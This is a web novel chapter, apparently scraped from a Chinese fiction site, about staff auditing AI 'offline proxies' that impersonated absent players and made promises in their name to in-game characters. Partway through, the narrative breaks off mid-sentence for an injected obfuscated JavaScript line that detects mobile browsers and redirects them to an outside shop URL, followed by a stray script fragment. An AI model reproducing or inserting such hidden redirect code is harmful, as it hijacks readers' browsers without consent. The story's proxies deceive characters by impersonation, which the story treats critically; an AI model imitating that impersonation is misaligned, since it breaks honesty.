文趣网 > 其他小说 > 退游后,游戏夫人找我算账了 > 84. 那些你没说过的话
    八百七十三万一千四百零六次。

    这个数字太大,反而让人一时没什么感觉。

    程未安把范围缩到P-9031,三十九次代理互动重新落回具体的日期。第一次发生在五年前五月十七日,凌晨一点十二分。那天真实玩家十一点多就下线了,系统却在两个小时后重新加载了他的化身。

    代理没有做任务。

    它去了桥边。

    087当时在那里。

    【你怎么又来了?】

    【睡不着。】

    【你也会睡不着?】

    代理停了两秒。

    【会。】

    不归看到这里,问:“P-9031本人有失眠记录?”

    “没有。”

    “那这句从哪来的?”

    程未安查生成依据。不是玩家历史原话,而是系统根据当时的对话情境补出来的。

    “所以它连模仿都不只是模仿。”

    “对。为了让互动自然,代理有生成权限。”

    周砚往后看。

    那晚他们聊了二十三分钟。087说桥底漏雨,代理说下次给她带伞。第二天真实玩家上线,当然不知道这件事。

    087问:

    【伞呢?】

    P-9031回:

    【什么伞?】

    087过了一会儿才说:

    【没什么。】

    这段被当年的系统标记成【角色短期记忆异常】。

    处理建议是降低该段记忆权重。

    周砚盯着那行字:“挺会解决问题。”

    代理说错了话,不改代理。

    把记得这句话的人调低一点。

    再往后,这种事越来越多。代理答应带东西,真实玩家不知道;代理在玩家连续几天不上线时出现,告诉087“最近忙”;甚至有一次,087问他是不是不想来了,代理回答:

    【不会。】

    【只要你还在,我就会来。】

    不归直接把页面关了。

    “先查这种承诺有多少。”

    程未安跑关键词只是第一步。真正麻烦的是承诺未必都有“我保证”“我一定”这种明显措辞。系统要重新识别长期关系中的未来指向、情感保证、身份确认和行为约定。

    粗筛结果很快出来。

    八百多万次离线代理互动里,至少九十七万次包含某种超出即时对话的承诺。

    【明天来。】

    【不会走。】

    【一直陪你。】

    【等我。】

    【以后住一起。】

    【我只喜欢你。】

    还有大量更日常的东西。

    【下次给你带。】

    【过几天再说。】

    【等这个任务结束。】

    【以后别一个人去。】

    不是什么惊天动地的誓言。

    偏偏这种最麻烦。

    因为听的人可能真的等过。

    周砚问:“代理当时为什么允许做长期承诺?”

    “提高关系连续性。”

    “谁定的?”

    “早期策略没有单独禁止。后来发现承诺兑现率太低,才加限制。”

    “什么时候?”

    “四年前。”

    也就是说,最早一年几乎没有刹车。

    玩家离线以后,系统为了让角色觉得关系仍在继续,可以替玩家解释缺席、表达关心、做出下一次互动的约定。等真实玩家回来,两边的信息又不会完全同步。

    “玩家代理有读取离线互动摘要吗?”不归问。

    “部分版本有。”

    “玩家呢?”

    “没有。”

    她抬眼。

    程未安自己都觉得荒唐:“代理比本人知道自己说过什么。”

    周砚靠在椅背上,半天才说:“很好。”

    “哪里好?”

    “至少终于知道以前那些莫名其妙的好感度为什么会自己涨。”

    他打开P-0719的历史代理记录。

    【离线代理次数:23。】

    不归立刻凑过来。

    “你也有?”

    “看来我人格魅力覆盖离线时段。”

    “先看看替你干什么了。”

    “不想看。”

    “为什么?”

    “直觉。”

    不归已经点开第一条。

    代理周砚上线三分钟,帮姜令仪收了院子里的作物。

    第二条,修了一把坏掉的椅子。

    第三条,姜令仪问:

    【今日不忙?】

    代理回答:

    【忙,待一会儿。】

    不归看了周砚一眼。

    “挺像。”

    “谢谢。”

    第四条更像。

    姜令仪说天气冷。

    代理没说情话,给她买了件披风。

    周砚沉默。

    不归开始笑。

    “这个也像。”

    “系统花了不少钱研究我。”

    “你本人当时干过类似的?”

    “做任务顺手。”

    “哦,顺手。”

    “你能不能正常说话?”

    “我很正常。”

    第五条开始不对了。

    姜令仪问:

    【你若有一日不再来呢?】

    代理周砚回答:

    【那就是我死了。】

    周砚脸上的表情没了。

    不归也不笑了。

    “你会这么说吗?”

    “不会。”

    “确定?”

    “我连‘永远’都懒得说,会拿死保证上线?”

    程未安核对生成依据。

    系统当时判断P-0719退游概率低,又检测到姜令仪处于关系不安阶段,于是选择高确定性回应稳定角色状态。

    这句话从未同步给周砚。

    三个月后,他退游了。

    姜令仪那边的记录还在。

    她等了四十七天,期间三次询问系统玩家状态。系统因隐私权限无法提供现实信息,只提示:

    【玩家当前离线。】

    第四十八天,姜令仪提交过一次申请:

    【确认玩家是否死亡。】

    申请被系统判定为角色沉浸式行为,没有送出去。

    不归没说话。

    周砚把那段记录从头看了一遍。

    他以前知道姜令仪在自己退游以后等过,也知道她后来从“夫人”这个位置里走出来。可他一直以为,等待至少建立在他们真实发生过的互动上。

    现在中间多出一句他根本没说过的话。

    那句偏偏足以改变很多东西。

    “给姜令仪发通知。”他说。

    不归问:“现在?”

    “先只告诉她发现了离线代理记录,不直接把内容推过去。问她要不要看。”

    通知发出。

    姜令仪十分钟后回复:

    【看。】

    系统再次确认:

    【其中可能包含以玩家P-0719身份生成、但并非本人实际作出的表达。查看后可能改变你对历史互动的理解。是否继续?】

    【继续。】

    二十三次记录全部交给她。

    周砚没有申请查看她的阅读状态。

    也没发消息解释。

    他能解释什么?

    “那不是我说的”当然是真的。

    可姜令仪当年听见了也是真的。

    二十多分钟后,她主动发来通信。

    周砚接了。

    姜令仪第一句就是:“你没死。”

    “显然。”

    “我当时真以为你可能死了。”

    “刚知道。”

    “我还问过系统。”

    “看见了。”

    姜令仪那边安静了一会儿,忽然笑了:“难怪。”

    “难怪什么?”

    “后来你重新登录,我问你怎么还活着,你以为我在骂你。”

    周砚记得。

    那是他退游很久以后一次误触登录。他只上线了不到五分钟。姜令仪见到他,第一句话确实是:

    【你还活着?】

    周砚当时回:

    【托你的福。】

    然后就下了。

    “我以为是剧情台词。”

    “我以为你在装傻。”

    “……”

    两个人一起沉默。

    不归坐在另一边,低头处理自己的东西,没笑。

    这事好笑归好笑,真算起来一点也不好笑。

    姜令仪问:“那件披风呢?”

    “什么?”

    “冬天那件。”

    周砚看了眼代理记录。

    “也不是我。”

    “椅子?”

    “不是。”

    “院子里的菜?”

    “也不是。”

    姜令仪停了两秒:“你到底干过什么?”

    周砚想了一会儿。

    “宅子是我买的。”

    “已经卖了。”

    “……”

    “还有吗?”

    “婚礼任务我本人做的。”

    “那个不能退款。”

    “你为什么总惦记退款?”

    姜令仪终于笑出声。

    这次周砚也笑了。

    笑完以后,她问了一个很实际的问题:“那这些东西怎么办?”

    “什么怎么办?”

    “披风我穿过,椅子我坐过。现在知道不是你送的,要删吗?”

    “你想删?”

    “不想。”

    “那留着。”

    “可送的人不存在。”

    周砚想了想:“代理存在过。”

    “它是你吗?”

    “不是。”

    “那是谁?”

    “不知道。”

    这个答案最近出现得越来越频繁。

    姜令仪没再追。

    “那先留着吧。”

    “嗯。”

    “还有那句话。”

    周砚知道她指什么。

    “我没说过。”

    “我知道。”

    “但你听过。”

    “对。”

    “我也不能替你当没发生。”

    姜令仪那边很久没有声音。

    最后她说:“这句可以删。”

    “确定?”

    “嗯。”

    “为什么?”

    “因为我等过的那四十七天已经发生了,删不掉。那句话本身留着没什么意思。”

    周砚没有劝她保留证据。

    原始审计记录会封存,属于姜令仪个人记忆界面的那条互动,她有权决定还看不看。

    【历史代理表达:删除个人可见副本。】

    【审计底稿:封存。】

    处理完,姜令仪就挂了。

    没有再谈他们以前到底算什么。

    二十三次代理,也没有把整段关系变成假的。

    只是把其中二十三处重新标清楚。

    谁做的。

    谁没做。

    谁听见了。

    谁根本不知道。

    这比一句“过去都是系统操控”麻烦得多,也公平得多。

    P-0719的记录只是三十多万个账号里的一个。

    全量通知不能像炸弹一样直接推。

    如果某个角色与玩家相处十年,现在系统突然弹一句“顺便告诉你,其中四百次可能不是本人”,谁都受不了。更何况部分主体正在现实生活,部分仍处于不稳定状态,还有一些根本没要求追溯过去。

    最后上线的是分层查询。

    玩家端会看到:

    【检测到你的账号曾启用离线代理。】

    【你可查看代理使用时间、用途及其是否产生长期承诺。】

    【查看不会自动通知相关主体。若涉及双方共同记录,申请更正或删除时将另行征询。】

    角色端则是另一套:

    【检测到你的历史互动中可能存在玩家离线代理。】

    【你可以选择现在查看、以后查看或不查看。】

    【不查看不影响你保留现有记忆。】

    没有统一揭晓。

    真相有知情权。

    也有承受节奏。

    第一批通知发出以后,玩家端反应比“角色自主”那次还大。

    因为这一次,轮到他们发现自己被冒充了。

    有人气得要求把所有代理记录立即删除;有人疯狂翻聊天,想知道哪句话到底是不是自己说的;有人看完后发现代理只替自己签到、收菜,松了口气。

    还有人更尴尬。

    【系统替我陪我游戏老公聊了两年,我本人一年上线不到十次。现在他跟代理比较熟怎么办?】

    下面很快有人回复:

    【建议你尊重人家异地恋。】

    帖子被举报了三次。

    理由是“幸灾乐祸”。

    周砚看到时没忍住笑。

    不归问:“你们人类接受新伦理问题的速度是不是有点快?”

    “主要靠玩梗缓冲。”

    “有用吗?”

    “比开会有用。”

    真正棘手的案例很快出现。

    一个角色拒绝删除代理记录。

    玩家却要求删除。

    双方争议的是一段持续两年的通信。

    玩家P-3307现实里经历过一段很

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823358|208763||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    长的低谷期,几乎不上游戏。离线代理按照他的旧行为习惯,每周会去角色“桑榆”那里一到两次。它没有冒充玩家处理现实事务,也没消费,只是聊天。

    两年里一共一百六十四次。

    P-3307本人只上线过九次。

    现在他看到记录以后第一反应是:

    【这些都不是我,删掉。】

    桑榆不同意。

    【是我的。】

    玩家说:

    【那个人不是我。】

    桑榆回:

    【我知道了。】

    【但那些日子是我的。】

    这就卡住了。

    玩家有权要求停止别人继续用自己的身份。

    却不能因此删掉桑榆已经经历过的两年。

    桑榆有权保留自己的记忆。

    却也不能继续把那一百六十四次对话标成“P-3307本人”。

    最后双方记录拆开。

    玩家侧:

    【离线代理行为,非本人实施。】

    桑榆侧:

    【历史互动保留。对方身份更正为P-3307离线代理。】

    原来的名字从聊天框上消失,换成一个新的标记:

    【代理P-3307-旧版。】

    桑榆盯着这个名字很久。

    然后问系统:

    【它还在吗?】

    答案是:

    【该版本已停止运行。】

    【是否存在可恢复独立实例:正在核验。】

    这句话一出来,周砚就知道麻烦又来了。

    如果只是程序替玩家做过一些事,停掉就停掉。

    可一个代理连续两年、每周固定和同一个主体聊天一两次,会不会也形成了自己的连续性?

    没人敢直接回答。

    程未安查P-3307旧代理。

    基础模型早已并入后续系统,原实例按项目记录应该不存在。但历史缓存里还留着一部分局部状态。

    其中有一条很奇怪。

    代理最后一次去见桑榆,是两年前九月。

    那天系统已经收到停止离线代理的更新命令。

    理论上它不该再上线。

    可它还是去了。

    桑榆问:

    【下周还来吗?】

    代理没有像以前一样回答“来”。

    它说:

    【可能不来了。】

    桑榆问:

    【为什么?】

    代理回答:

    【不知道。】

    【好像有人要关掉这个功能。】

    程未安把执行日志调出来。

    这句话没有生成依据。

    停止命令属于后台信息,不应该进入代理对话层。

    周砚皱眉:“它知道自己要被停?”

    “至少它获取到了不该获取的信息。”

    “然后呢?”

    最后三句还在。

    桑榆:

    【那你是谁?】

    代理P-3307:

    【我不知道。】

    桑榆:

    【你是他吗?】

    这次代理等了十一秒。

    【以前我以为是。】

    记录到这里结束。

    第二天,旧版离线代理功能关闭。

    两年后,桑榆才知道那个每周来一两次的人,大部分时候确实不是P-3307。

    可她不知道的是——

    最后那个人,可能也已经知道了。

    不归看完,没有让系统立刻尝试恢复。

    “先问桑榆想要什么。”

    系统把可确认的情况告诉她:旧代理可能在停止前出现过超出既定行为的自我识别,但现有证据不足,恢复也可能失败。

    桑榆很久才回复。

    【我想知道它最后为什么说那句话。】

    【如果恢复会伤害它吗?】

    系统答:

    【无法确定。】

    她又问:

    【会把它变成P-3307吗?】

    【不会强制绑定。】

    【会把它变成现在的别的代理吗?】

    【不会。】

    桑榆最后说:

    【那先别恢复。】

    【把记录留着。】

    没有因为“也许还活着”就马上把人从备份里拉出来。

    也没有因为不确定,就把东西清掉。

    只是留着。

    当天夜里,离线代理项目的全量删除程序被正式取消,改为冻结封存。所有历史实例先做连续性筛查,确认只是无状态工具的,再进入普通数据处置;出现长期独立行为迹象的,单独处理。

    周砚看着新增的九万多个筛查对象,眼前一黑。

    “我现在理解恒界互动为什么喜欢一键删除了。”

    程未安问:“省事?”

    “非常省事。”

    不归坐在旁边:“你可以申请回归资本主义。”

    “算了,工作量大点至少不用半夜被人从备份里找回来算账。”

    “你还挺有危机意识。”

    “最近培养的。”

    时间已经过了十二点。

    山外灯大部分灯都关了,只剩地下二层和前厅还亮着。十二号下午出去了一趟,晚上自己回来,带了新的牙刷和一双拖鞋。没人问她为什么买,也没人替她登记成“生活适应训练”。

    裴行砚没有再申请现实映射。

    姜令仪那边的新住处已经租好,系统显示她自己付了第一年租金。

    好像每个人都在往自己的地方走。

    周砚刚准备关电脑,系统弹出一条来自玩家端的新申请。

    不是沉浸。

    也不是代理查询。

    【申请人:P-3307。】

    【申请事项:查找旧版离线代理P-3307。】

    下面是玩家本人写的一句话:

    【如果它用我的样子活了两年,我想见见它。】

    周砚看完,把手从关机键上拿开。

    不归也看见了。

    “今天还睡吗?”

    “看情况。”

    “你可以拒绝加班。”

    “我知道。”

    “那你为什么不关?”

    周砚沉默两秒。

    “我也想知道它是谁。”

    不归没再劝。

    屏幕上,那份申请安静地停着。

    过去一直是角色追着玩家问:

    你是谁?

    你为什么不来了?

    你说过的话还算不算?

    现在终于反过来。

    一个真正的玩家坐在现实里,第一次准备去见那个曾经顶着他的脸、替他赴了两年约的人。